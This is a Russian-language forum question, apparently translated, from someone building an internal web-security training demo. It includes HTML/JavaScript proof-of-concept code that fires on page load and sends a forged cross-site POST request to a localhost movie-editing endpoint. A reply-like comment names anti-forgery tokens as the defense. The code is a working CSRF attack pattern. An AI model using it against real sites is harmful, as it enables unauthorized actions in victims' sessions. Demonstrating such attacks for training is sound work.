Вау, это было так полезно для меня, чтобы проверить уязвимость. Если злоумышленник знает данные, ожидаемые конечной точкой, они находятся. Поскольку я знаю ожидаемые значения формы, я смог быстро продемонстрировать это. Будем использовать токены против подделки для блокировки. Очень признателен.

аю введение в веб-безопасность для некоторых других людей на нашем предприятии и хочу показать пример, который окажет большее влияние.

Для этого я создал небольшой сайт, который уязвим для этой атаки, этот сайт будет доступен только в нашей сети.

Я сейчас пытаюсь использовать эту атаку, но у меня есть один вопрос:

Как это сделать с помощью формы POST?

У меня нет проблем с этим с помощью запроса GET, но с помощью POST я пытаюсь сделать это с помощью JavaScript, нет проблем, если я размещаю свой код на том же хосте, но если я хочу разместить свой код на другом хосте чтобы быть более реалистичным, я заблокирован, потому что это междоменный запрос.

Так как мне отправить эти POST-переменные?

Спасибо!

Вот мой текущий код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
        var http = false;
        //Use IE's ActiveX items to load the file.
        if(typeof ActiveXObject != 'undefined') {
            try {http = new ActiveXObject("Msxml2.XMLHTTP");}
            catch (e) {
                try {http = new ActiveXObject("Microsoft.XMLHTTP");}
                catch (E) {http = false;}
            }
        //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
        } else if (window.XMLHttpRequest) {
            try {http = new XMLHttpRequest();}
            catch (e) {http = false;}
        }
        return http;
    }
function post_to_url(path, params, method) {
    method = method || "post"; // Set method to post by default, if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        var hiddenField = document.createElement("input");
        hiddenField.setAttribute("type", "hidden");
        hiddenField.setAttribute("name", key);
        hiddenField.setAttribute("value", params[key]);

        form.appendChild(hiddenField);
    }

    document.body.appendChild(form);
    form.submit();
}

function postToUrlBackground(path, params){
    var http = getHTTPObject();

    http.open("POST", path, true);

    //Send the proper header information along with the request
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");

    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            //alert("Response received");
        }
    }
    http.send(params);
}
function TryAttack(){
    //alert("Sending");
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"    );
    //alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>

Ответы на вопрос(1)

Ваш ответ на вопрос